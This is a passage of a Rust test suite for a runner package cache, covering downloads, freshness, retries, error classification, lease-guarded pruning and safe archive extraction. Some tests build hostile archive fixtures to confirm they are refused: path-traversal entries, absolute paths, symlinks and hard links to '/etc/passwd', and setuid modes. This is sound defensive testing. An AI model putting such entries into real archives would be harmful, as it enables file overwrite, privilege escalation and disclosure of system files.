fs::write(impostor.join("run.sh"), b"not ours").unwrap();
assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
assert_eq!(
cache.installed().unwrap().len(),
1,
"only the real entry counts as installed"
);
}
#[tokio::test]
async fn a_download_that_fails_leaves_no_entry_and_no_file() {
let (harness, _, _) = linux_fixture();
*harness.fetcher.fail.lock().unwrap() = true;
let cache = harness.cache().with_retry_budget(1);
assert!(cache.ensure_installed().await.is_err());
assert!(cache.installed().unwrap().is_empty());
let leftovers = all_paths(cache.root());
assert_eq!(
leftovers,
vec![".staging".to_string()],
"a failed download leaves an empty staging directory and nothing else"
);
}
#[tokio::test]
async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
let payload = b"this verifies but is not a gzip stream".to_vec();
let harness = Harness::new(
vec![published(
"linux",
"x64",
"2.330.0",
".tar.gz",
Some(&hex_digest(&payload)),
)],
payload,
);
let cache = harness.cache().with_retry_budget(1);
let error = cache.ensure_installed().await.unwrap_err();
let inner = match &error {
PackageError::Exhausted { source, .. } => source.as_ref(),
other => other,
};
assert!(
matches!(inner, PackageError::Extract { .. }),
"expected an extraction failure, got {error:?}"
);
let wrote = harness.fetcher.wrote();
assert_eq!(wrote.len(), 1, "the download did happen");
assert!(
!wrote[0].exists(),
"the verified-but-unusable download at {:?} must still be removed",
wrote[0]
);
assert!(cache.installed().unwrap().is_empty());
let before = all_paths(cache.root());
assert!(
before.iter().all(|path| path.starts_with(".staging")),
"only staging litter may survive; found {before:?}"
);
cache.sweep_staging().expect("a sweep");
assert_eq!(
all_paths(cache.root()),
vec![".staging".to_string()],
"the sweep empties staging, leaving only the directory itself"
);
}
#[tokio::test]
async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
let first = cache.ensure_installed().await.expect("the first install");
assert_eq!(first.version(), &version("2.330.0"));
let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
harness.catalog.publish(vec![published(
"linux",
"x64",
"2.340.0",
".tar.gz",
Some(&hex_digest(&newer)),
)]);
harness.fetcher.serve(newer);
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
let second = cache.ensure_installed().await.expect("a refresh");
assert_eq!(second.version(), &version("2.340.0"));
assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
assert_eq!(
cache.installed().unwrap().len(),
2,
"the old entry is not removed by a refresh; pruning is a separate, \
guarded decision"
);
}
#[tokio::test]
async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
cache.ensure_installed().await.expect("the first install");
let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
harness.catalog.publish(vec![published(
"linux",
"x64",
"2.340.0",
".tar.gz",
Some(&hex_digest(&newer)),
)]);
harness.fetcher.serve(newer);
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
let second = cache.ensure_installed().await.expect("the cached entry");
assert_eq!(second.version(), &version("2.330.0"));
assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
}
#[tokio::test]
async fn the_freshness_boundary_is_the_documented_thirty_days() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
let installed = cache.ensure_installed().await.expect("an install");
let installed_at = installed.installed_at();
assert!(!cache.is_stale(&installed, installed_at));
assert!(!cache.is_stale(
&installed,
installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
));
assert!(cache.is_stale(
&installed,
installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
));
}
#[tokio::test]
async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
cache.ensure_installed().await.expect("the first install");
assert_eq!(harness.catalog.calls(), 1);
harness
.clock
.advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
cache.ensure_installed().await.expect("a cached answer");
assert_eq!(
harness.catalog.calls(),
1,
"a cold start inside the interval must not re-check"
);
harness.clock.advance(Elapsed::hours(2));
cache.ensure_installed().await.expect("a re-check");
assert_eq!(harness.catalog.calls(), 2);
}
#[tokio::test]
async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
cache.ensure_installed().await.expect("an install");
assert_eq!(harness.catalog.calls(), 1);
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
cache.ensure_installed().await.expect("a re-check");
let after_recheck = harness.catalog.calls();
harness.clock.advance(Elapsed::minutes(1));
cache.ensure_installed().await.expect("another cold start");
assert_eq!(
harness.catalog.calls(),
after_recheck + 1,
"a stale entry must be re-checked on every cold start, interval or not"
);
}
#[tokio::test]
async fn a_version_rejection_is_terminal_and_produces_no_retry() {
let (harness, _, _) = linux_fixture();
let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
let cache = harness.cache().with_retry_budget(3);
let error = cache.ensure_installed().await.unwrap_err();
assert!(
matches!(error, PackageError::VersionRejected { .. }),
"expected a version rejection, got {error:?}"
);
assert!(error.is_terminal());
assert_eq!(
error.failure_reason(),
Some(FailureReason::RunnerVersionRejected),
"the domain already names this; no second vocabulary"
);
assert!(
error.operator_action().is_some(),
"a terminal condition owes the operator an action"
);
assert!(
error.to_string().contains("cannot succeed"),
"the message must say retrying is pointless: `{error}`"
);
assert_eq!(
harness.catalog.calls(),
1,
"a version rejection must be attempted exactly once"
);
assert_eq!(harness.fetcher.count(), 0);
}
#[tokio::test]
async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
let (harness, _, _) = linux_fixture();
let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
let cache = harness.cache().with_retry_budget(3);
let error = cache.ensure_installed().await.unwrap_err();
assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
assert_eq!(
harness.catalog.calls(),
3,
"a retryable failure must spend the budget"
);
assert!(
error.operator_action().is_none(),
"the answer to a transient failure is to wait, not to act"
);
}
fn variant_name(error: &PackageError) -> &'static str {
match error {
PackageError::UnsupportedHost(_) => "UnsupportedHost",
PackageError::NoPackagePublished { .. } => "NoPackagePublished",
PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
PackageError::MalformedDigest { .. } => "MalformedDigest",
PackageError::VersionRejected { .. } => "VersionRejected",
PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
PackageError::Download { .. } => "Download",
PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
PackageError::Extract { .. } => "Extract",
PackageError::VersionInUse { .. } => "VersionInUse",
PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
PackageError::UnreadableLease { .. } => "UnreadableLease",
PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
PackageError::NotInstalled { .. } => "NotInstalled",
PackageError::Io { .. } => "Io",
PackageError::Exhausted { .. } => "Exhausted",
}
}
const PACKAGE_ERROR_VARIANTS: usize = 19;
#[test]
fn every_variant_is_classified_and_classification_matches_the_remedy() {
let samples: Vec<(PackageError, bool)> = vec![
(
PackageError::Io {
what: "read",
path: PathBuf::from("x"),
source: io::Error::other("disk"),
},
false,
),
(
PackageError::Exhausted {
attempts: 3,
source: Box::new(PackageError::Download {
detail: "reset".to_string(),
}),
},
true,
),
(
PackageError::UnreadableLease {
path: PathBuf::from("x.lease"),
},
true,
),
(
PackageError::ChecksumMismatch {
version: version("2.330.0"),
expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
},
false,
),
(
PackageError::CatalogUnavailable {
detail: "502".to_string(),
},
false,
),
(
PackageError::Download {
detail: "reset".to_string(),
},
false,
),
(
PackageError::Extract {
detail: "short read".to_string(),
},
false,
),
(
PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
os: Os::Windows,
arch: Arch::Arm32,
}),
true,
),
(
PackageError::NoPackagePublished {
os: Os::Linux,
arch: Arch::Arm32,
},
true,
),
(
PackageError::ChecksumAbsent {
version: version("2.330.0"),
os: Os::Linux,
arch: Arch::X64,
published: PublishedChecksum::Absent,
},
true,
),
(
PackageError::MalformedDigest {
raw: "nope".to_string(),
},
true,
),
(
PackageError::VersionRejected {
version: None,
detail: None,
},
true,
),
(
PackageError::UnrecognisedVersion {
raw: "nope".to_string(),
},
true,
),
(
PackageError::UnsupportedArchive {
filename: "x.rar".to_string(),
},
true,
),
(
PackageError::UnsafeArchiveEntry {
entry: "../x".to_string(),
},
true,
),
(
PackageError::VersionInUse {
version: version("2.330.0"),
attempt: fixtures::ATTEMPT_ID,
state: AttemptState::Busy,
},
true,
),
(
PackageError::VersionHeldByUnknownAttempt {
version: version("2.330.0"),
attempt: fixtures::ATTEMPT_ID,
},
true,
),
(
PackageError::WorkspaceInsideCache {
attempt: fixtures::ATTEMPT_ID,
path: PathBuf::from("x"),
},
true,
),
(
PackageError::NotInstalled {
version: version("2.330.0"),
},
true,
),
];
let covered: std::collections::BTreeSet<&'static str> = samples
.iter()
.map(|(error, _)| variant_name(error))
.collect();
assert_eq!(
covered.len(),
PACKAGE_ERROR_VARIANTS,
"every variant needs a sample; covered {covered:?}"
);
for (error, terminal) in samples {
let name = variant_name(&error);
assert_eq!(
error.is_terminal(),
terminal,
"{name} is classified the wrong way"
);
if name == "Exhausted" {
continue;
}
assert_eq!(
error.operator_action().is_some(),
terminal,
"{name}: a terminal condition owes an action and a retryable one does not"
);
}
}
#[test]
fn a_removed_sample_is_caught_by_the_coverage_assertion() {
let short: Vec<PackageError> = vec![PackageError::NotInstalled {
version: version("2.330.0"),
}];
let covered: std::collections::BTreeSet<&'static str> =
short.iter().map(variant_name).collect();
assert_ne!(
covered.len(),
PACKAGE_ERROR_VARIANTS,
"an incomplete sample list must not satisfy the coverage check"
);
}
#[test]
fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
let exhausted = PackageError::Exhausted {
attempts: 3,
source: Box::new(PackageError::ChecksumMismatch {
version: version("2.330.0"),
expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
}),
};
assert!(exhausted.is_terminal(), "the budget is spent");
assert_eq!(
exhausted.failure_reason(),
Some(FailureReason::RunnerPackageUnverified),
"the journal reason comes from what actually failed"
);
}
fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
let id = AttemptId::from_u128(id);
let runtime = harness
.paths
.runtime_dir()
.join(fixtures::POLICY_ID.to_string())
.join(id.to_string());
fixtures::attempt()
.id(id)
.state(state)
.runtime_path(runtime.to_string_lossy().to_string())
.build()
}
async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
let cache = harness.cache();
cache.ensure_installed().await.expect("an install");
cache
}
#[tokio::test]
async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
let attempt = attempt_in(&harness, 0x100, *state);
cache.lease(&attempt, &held).expect("a lease");
let error = cache
.prune(&held, std::slice::from_ref(&attempt))
.unwrap_err();
assert!(
matches!(error, PackageError::VersionInUse { .. }),
"state `{state}` should hold the version, got {error:?}"
);
assert!(error.is_terminal());
assert!(error.operator_action().is_some());
assert!(
cache.entry(&held).unwrap().is_some(),
"a refused prune must leave the entry in place"
);
cache.release(attempt.id).expect("release");
}
}
#[tokio::test]
async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
let live = attempt_in(&harness, 0x100, AttemptState::Busy);
cache.lease(&live, &held).expect("a lease");
assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
let root = cache
.entry(&held)
.unwrap()
.expect("still there")
.root()
.to_path_buf();
assert!(root.is_dir());
for state in AttemptState::ALL.iter().filter(|s| s.is_terminal()) {
let concluded = attempt_in(&harness, 0x100, *state);
assert!(concluded.is_terminal());
if cache.entry(&held).unwrap().is_none() {
cache.ensure_installed().await.expect("re-install");
cache.lease(&concluded, &held).expect("a lease");
}
cache
.prune(&held, std::slice::from_ref(&concluded))
.unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
assert!(
cache.entry(&held).unwrap().is_none(),
"state `{state}` should have pruned the entry"
);
assert!(
cache.holders(&held).unwrap().is_empty(),
"a spent lease is released with the entry"
);
}
}
#[tokio::test]
async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
cache.lease(&attempt, &held).expect("a lease");
let error = cache.prune(&held, &[]).unwrap_err();
assert!(
matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
"expected a fail-closed refusal, got {error:?}"
);
assert!(cache.entry(&held).unwrap().is_some());
assert!(
error
.operator_action()
.unwrap()
.contains("release the lease"),
"the refusal must name the way out, got `{}`",
error.operator_action().unwrap()
);
cache.release(attempt.id).expect("release");
cache.prune(&held, &[]).expect("a released version prunes");
assert!(cache.entry(&held).unwrap().is_none());
}
#[tokio::test]
async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
let live = attempt_in(&harness, 0x100, AttemptState::Busy);
cache.lease(&live, &held).expect("a lease");
let lease_file = cache.lease_path(live.id);
assert!(lease_file.is_file(), "the lease must exist to be corrupted");
fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
let error = cache.prune(&held, &[]).unwrap_err();
assert!(
matches!(error, PackageError::UnreadableLease { .. }),
"expected a refusal naming the unreadable lease, got {error:?}"
);
assert!(error.is_terminal());
assert!(error.operator_action().is_some());
assert!(
cache.entry(&held).unwrap().is_some(),
"the package a live runner may be executing from must still be there"
);
assert!(cache.holders(&held).is_err());
fs::remove_file(&lease_file).unwrap();
cache
.prune(&held, &[])
.expect("a resolved lease lets it proceed");
}
#[test]
fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
let dir = tempfile::tempdir().expect("a temporary root");
let held = version("2.330.0");
let id = AttemptId::from_u128(0x100);
let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
assert!(!missing.exists());
assert_eq!(
holder_of(&missing, &held).expect("a released lease is not an error"),
None
);
fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
fs::write(&missing, b"{\"version\":\"2.33").unwrap();
assert!(matches!(
holder_of(&missing, &held),
Err(PackageError::UnreadableLease { .. })
));
let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
assert!(matches!(
holder_of(&anonymous, &held),
Err(PackageError::UnreadableLease { .. })
));
}
#[tokio::test]
async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
let strays = cache.root().join(LEASES_DIR);
fs::create_dir_all(&strays).unwrap();
let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
let error = cache.prune(&held, &[]).unwrap_err();
assert!(
matches!(error, PackageError::UnreadableLease { .. }),
"a lease whose holder cannot be identified must refuse, got {error:?}"
);
assert!(cache.entry(&held).unwrap().is_some());
}
#[tokio::test]
async fn an_unreferenced_version_prunes_with_no_ceremony() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
cache.prune(&held, &[]).expect("nothing references it");
assert!(cache.entry(&held).unwrap().is_none());
assert!(cache.installed().unwrap().is_empty());
}
#[tokio::test]
async fn one_attempts_lease_does_not_pin_another_version() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
harness.catalog.publish(vec![published(
"linux",
"x64",
"2.340.0",
".tar.gz",
Some(&hex_digest(&newer)),
)]);
harness.fetcher.serve(newer);
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
cache.ensure_installed().await.expect("the newer install");
assert_eq!(cache.installed().unwrap().len(), 2);
let live = attempt_in(&harness, 0x100, AttemptState::Busy);
cache.lease(&live, &version("2.340.0")).expect("a lease");
assert!(
cache
.prune(&version("2.340.0"), std::slice::from_ref(&live))
.is_err()
);
cache
.prune(&version("2.330.0"), &[live])
.expect("the unheld version prunes");
assert_eq!(cache.installed().unwrap().len(), 1);
}
#[tokio::test]
async fn a_lease_outlives_the_cache_object_that_took_it() {
let (harness, _, _) = linux_fixture();
let held = version("2.330.0");
let live = attempt_in(&harness, 0x100, AttemptState::Busy);
{
let cache = cache_with_one_entry(&harness).await;
cache.lease(&live, &held).expect("a lease");
}
let reopened = harness.cache();
assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
assert!(reopened.prune(&held, &[live]).is_err());
}
#[tokio::test]
async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
cache
.release(AttemptId::from_u128(0xdead))
.expect("a cleanup path may release unconditionally");
}
#[tokio::test]
async fn leasing_a_version_that_is_not_installed_is_refused() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
assert!(matches!(error, PackageError::NotInstalled { .. }));
}
#[tokio::test]
async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
let held = version("2.330.0");
for inside in [
cache.root().join("2.330.0").join("_work"),
cache.root().join("workspaces").join("attempt-1"),
cache.root().to_path_buf(),
] {
let attempt = fixtures::attempt()
.id(AttemptId::from_u128(0x100))
.state(AttemptState::Busy)
.runtime_path(inside.to_string_lossy().to_string())
.build();
let error = cache.lease(&attempt, &held).unwrap_err();
assert!(
matches!(error, PackageError::WorkspaceInsideCache { .. }),
"`{}` is inside the cache and must be refused, got {error:?}",
inside.display()
);
assert!(
cache.holders(&held).unwrap().is_empty(),
"a refused lease must not have been written"
);
}
let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
cache
.lease(&proper, &held)
.expect("a runtime under the runtime directory is where it belongs");
assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
}
#[test]
fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
let dir = tempfile::tempdir().expect("a temporary root");
let paths = AppPaths::rooted_at(dir.path());
let cache_root = paths.state_dir().join(PACKAGES_DIR);
let workspaces = paths.runtime_dir();
assert!(
!is_inside(&cache_root, workspaces),
"job workspaces must not live inside the package cache"
);
assert!(
!is_inside(workspaces, &cache_root),
"the package cache must not live inside the workspace root"
);
let attempt_workspace = workspaces
.join(fixtures::POLICY_ID.to_string())
.join(fixtures::ATTEMPT_ID.to_string());
assert!(!is_inside(&cache_root, &attempt_workspace));
}
#[tokio::test]
async fn installing_writes_nothing_under_the_runtime_directory() {
let (harness, _, _) = linux_fixture();
let cache = cache_with_one_entry(&harness).await;
assert!(
all_paths(harness.paths.runtime_dir()).is_empty(),
"the package cache must not create job workspaces: {:?}",
all_paths(harness.paths.runtime_dir())
);
let written = all_paths(cache.root());
assert!(
written.iter().any(|path| path.starts_with("2.330.0")),
"the entry should be there: {written:?}"
);
}
#[test]
fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
let dir = tempfile::tempdir().expect("a temporary root");
let paths = AppPaths::rooted_at(dir.path());
let cache = PackageCache::new(
&paths,
Os::Linux,
Arch::X64,
CachePorts {
catalog: FakeCatalog::with(Vec::new()),
fetcher: FakeFetcher::with(Vec::new()),
backoff: Arc::new(NoBackoff),
clock: Arc::new(FakeClock::default()),
},
);
assert!(
!is_inside(cache.root(), cache.tool_cache_dir()),
"a written-to tool cache must not sit inside the immutable entries"
);
assert!(
!is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
"the tool cache is retained, not disposable with a workspace"
);
assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
}
#[tokio::test]
async fn both_published_archive_formats_extract_on_every_platform() {
for (extension, bytes) in [
(".zip", zip_bytes(&package_entries())),
(".tar.gz", tar_gz_bytes(&package_entries())),
] {
let digest = hex_digest(&bytes);
let harness = Harness::new(
vec![published(
"linux",
"x64",
"2.330.0",
extension,
Some(&digest),
)],
bytes,
);
let installed = harness
.cache()
.ensure_installed()
.await
.unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
assert_eq!(
fs::read_to_string(installed.root().join("run.sh")).unwrap(),
"#!/bin/sh\necho runner\n"
);
assert_eq!(
fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
"listener\n"
);
}
}
#[test]
fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
let dir = tempfile::tempdir().expect("a temporary root");
let target = dir.path().join("target");
let outside = dir.path().join("escaped.txt");
let good = dir.path().join("good.archive");
fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
extract(&good, ArchiveKind::TarGz, &target).expect("a legitimate archive extracts");
assert!(target.join("run.sh").is_file());
fs::remove_dir_all(&target).unwrap();
for (label, bytes, kind) in [
(
"tar.gz",
tar_gz_with_raw_name("../escaped.txt", "owned"),
ArchiveKind::TarGz,
),
(
"tar.gz absolute",
tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
ArchiveKind::TarGz,
),
(
"zip",
zip_bytes(&[("../escaped.txt", "owned")]),
ArchiveKind::Zip,
),
] {
let archive = dir.path().join(format!("{label}.archive"));
fs::write(&archive, &bytes).unwrap();
let _ = fs::remove_dir_all(&target);
let result = extract(&archive, kind, &target);
assert!(
!outside.exists(),
"{label}: an entry escaped the extraction directory"
);
let error = result.expect_err(&format!("{label}: the escape must be refused"));
assert!(
matches!(error, PackageError::UnsafeArchiveEntry { .. }),
"{label}: expected an unsafe-entry refusal, got {error:?}"
);
assert!(error.is_terminal());
assert_eq!(
error.failure_reason(),
Some(FailureReason::RunnerPackageUnverified)
);
}
}
#[test]
fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
for (published, expected, what) in [
(0o4755, 0o700, "setuid is dropped"),
(0o2755, 0o700, "setgid is dropped"),
(0o1777, 0o700, "the sticky bit is dropped"),
(
0o7777,
0o700,
"all three, plus group and other, are dropped",
),
(0o777, 0o700, "group and other lose everything"),
(0o666, 0o600, "a non-executable file stays non-executable"),
(0o644, 0o600, "the ordinary case"),
(0o755, 0o700, "an executable stays executable"),
(0o000, 0o600, "the owner can always read it back"),
] {
assert_eq!(
policy_mode(published),
expected,
"{what}: policy_mode({published:o}) should be {expected:o}"
);
}
for published in 0..=0o7777_u32 {
let applied = policy_mode(published);
assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
assert_eq!(
applied & 0o100 != 0,
published & 0o111 != 0,
"executability is the only thing carried through, and only for \
the owner (published {published:o} -> {applied:o})"
);
}
}
#[cfg(unix)]
#[test]
fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
use std::os::unix::fs::PermissionsExt as _;
let dir = tempfile::tempdir().expect("a temporary root");
let bytes = tar_gz_special(
"run.sh",
"#!/bin/sh\n",
0o7777,
tar::EntryType::Regular,
None,
);
let (mode, kind, _) = first_entry_header(&bytes);
assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
assert_eq!(kind, tar::EntryType::Regular);
let archive = dir.path().join("p.archive");
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join("target");
extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
let applied = fs::metadata(target.join("run.sh"))
.unwrap()
.permissions()
.mode()
& 0o7777;
assert_eq!(
applied & 0o4000,
0,
"setuid must never survive extraction (mode {applied:o})"
);
assert_eq!(
applied & 0o2000,
0,
"setgid must never survive extraction (mode {applied:o})"
);
assert_eq!(
applied & 0o022,
0,
"group and world write must never survive (mode {applied:o})"
);
assert_eq!(
applied, 0o700,
"the tar path must apply the same mode policy as the zip path"
);
}
#[cfg(unix)]
#[test]
fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
use std::os::unix::fs::PermissionsExt as _;
let dir = tempfile::tempdir().expect("a temporary root");
let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
let archive = dir.path().join("p.archive");
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join("target");
extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
let applied = fs::metadata(target.join("bin"))
.unwrap()
.permissions()
.mode()
& 0o7777;
assert_eq!(
applied & 0o2000,
0,
"setgid must not survive on a directory"
);
assert_eq!(applied & 0o077, 0, "group and other get nothing");
assert!(
applied & 0o300 == 0o300,
"the owner must still be able to write and traverse it (mode {applied:o})"
);
}
#[test]
fn a_link_whose_target_escapes_the_package_is_refused() {
let dir = tempfile::tempdir().expect("a temporary root");
for (label, bytes) in [
(
"symlink to an absolute path",
tar_gz_special(
"link",
"",
0o777,
tar::EntryType::Symlink,
Some("/etc/passwd"),
),
),
(
"symlink climbing out",
tar_gz_special(
"link",
"",
0o777,
tar::EntryType::Symlink,
Some("../../escape"),
),
),
(
"symlink climbing out from a subdirectory",
tar_gz_special(
"bin/link",
"",
0o777,
tar::EntryType::Symlink,
Some("../../escape"),
),
),
(
"hard link",
tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
),
] {
let (_, kind, link) = first_entry_header(&bytes);
assert!(
matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
"{label}: the fixture must be a link entry"
);
assert!(link.is_some(), "{label}: the fixture must carry a target");
let archive = dir.path().join(format!("{label}.archive"));
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join(label);
let error = extract(&archive, ArchiveKind::TarGz, &target)
.expect_err(&format!("{label} must be refused"));
assert!(
matches!(error, PackageError::UnsafeArchiveEntry { .. }),
"{label}: expected an unsafe-entry refusal, got {error:?}"
);
assert!(error.is_terminal());
assert_eq!(
error.failure_reason(),
Some(FailureReason::RunnerPackageUnverified)
);
assert!(
!target.join("link").exists(),
"{label}: nothing may have been created"
);
}
}
#[cfg(unix)]
#[test]
fn a_link_that_stays_inside_the_package_is_extracted() {
let dir = tempfile::tempdir().expect("a temporary root");
let bytes = tar_gz_special(
"bin/current",
"",
0o777,
tar::EntryType::Symlink,
Some("../run.sh"),
);
let archive = dir.path().join("p.archive");
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join("target");
extract(&archive, ArchiveKind::TarGz, &target)
.expect("a link inside the package is legitimate");
assert!(
fs::symlink_metadata(target.join("bin/current"))
.unwrap()
.is_symlink(),
"the link should have been created"
);
}
#[test]
fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
let root = Path::new("/cache/staging/root");
for names_the_root in [".", "./", "./."] {
assert_eq!(
entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
None,
"`{names_the_root}` names the extraction root and must not resolve to it"
);
}
assert_eq!(
entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
Some(root.join("bin").join("run.sh"))
);
assert_eq!(
entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
Some(root.join("bin").join("run.sh"))
);
assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
}
#[test]
fn a_directory_always_gets_a_traversable_owner_only_mode() {
for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
assert_eq!(
intended_mode(true, published),
Some(0o700),
"a directory published as {published:?} must end up traversable and owner-only"
);
}
assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
assert_eq!(
intended_mode(false, None),
None,
"a zip written on Windows publishes no mode, and there is nothing to apply"
);
}
#[cfg(unix)]
#[test]
fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
use std::os::unix::fs::PermissionsExt as _;
let dir = tempfile::tempdir().expect("a temporary root");
let bytes = zip_bytes_with_modes(&[
("bin/", "", Some(0o2777)),
("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
]);
let archive = dir.path().join("p.archive");
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join("target");
extract(&archive, ArchiveKind::Zip, &target).expect("extraction");
let dir_mode = fs::metadata(target.join("bin"))
.unwrap()
.permissions()
.mode()
& 0o7777;
assert_eq!(
dir_mode, 0o700,
"a zip directory must get the owner-only policy (mode {dir_mode:o})"
);
let file_mode = fs::metadata(target.join("bin/run.sh"))
.unwrap()
.permissions()
.mode()
& 0o7777;
assert_eq!(
file_mode, 0o700,
"a zip file must get the owner-only policy (mode {file_mode:o})"
);
}
#[cfg(unix)]
#[test]
fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
use std::os::unix::fs::PermissionsExt as _;
let dir = tempfile::tempdir().expect("a temporary root");
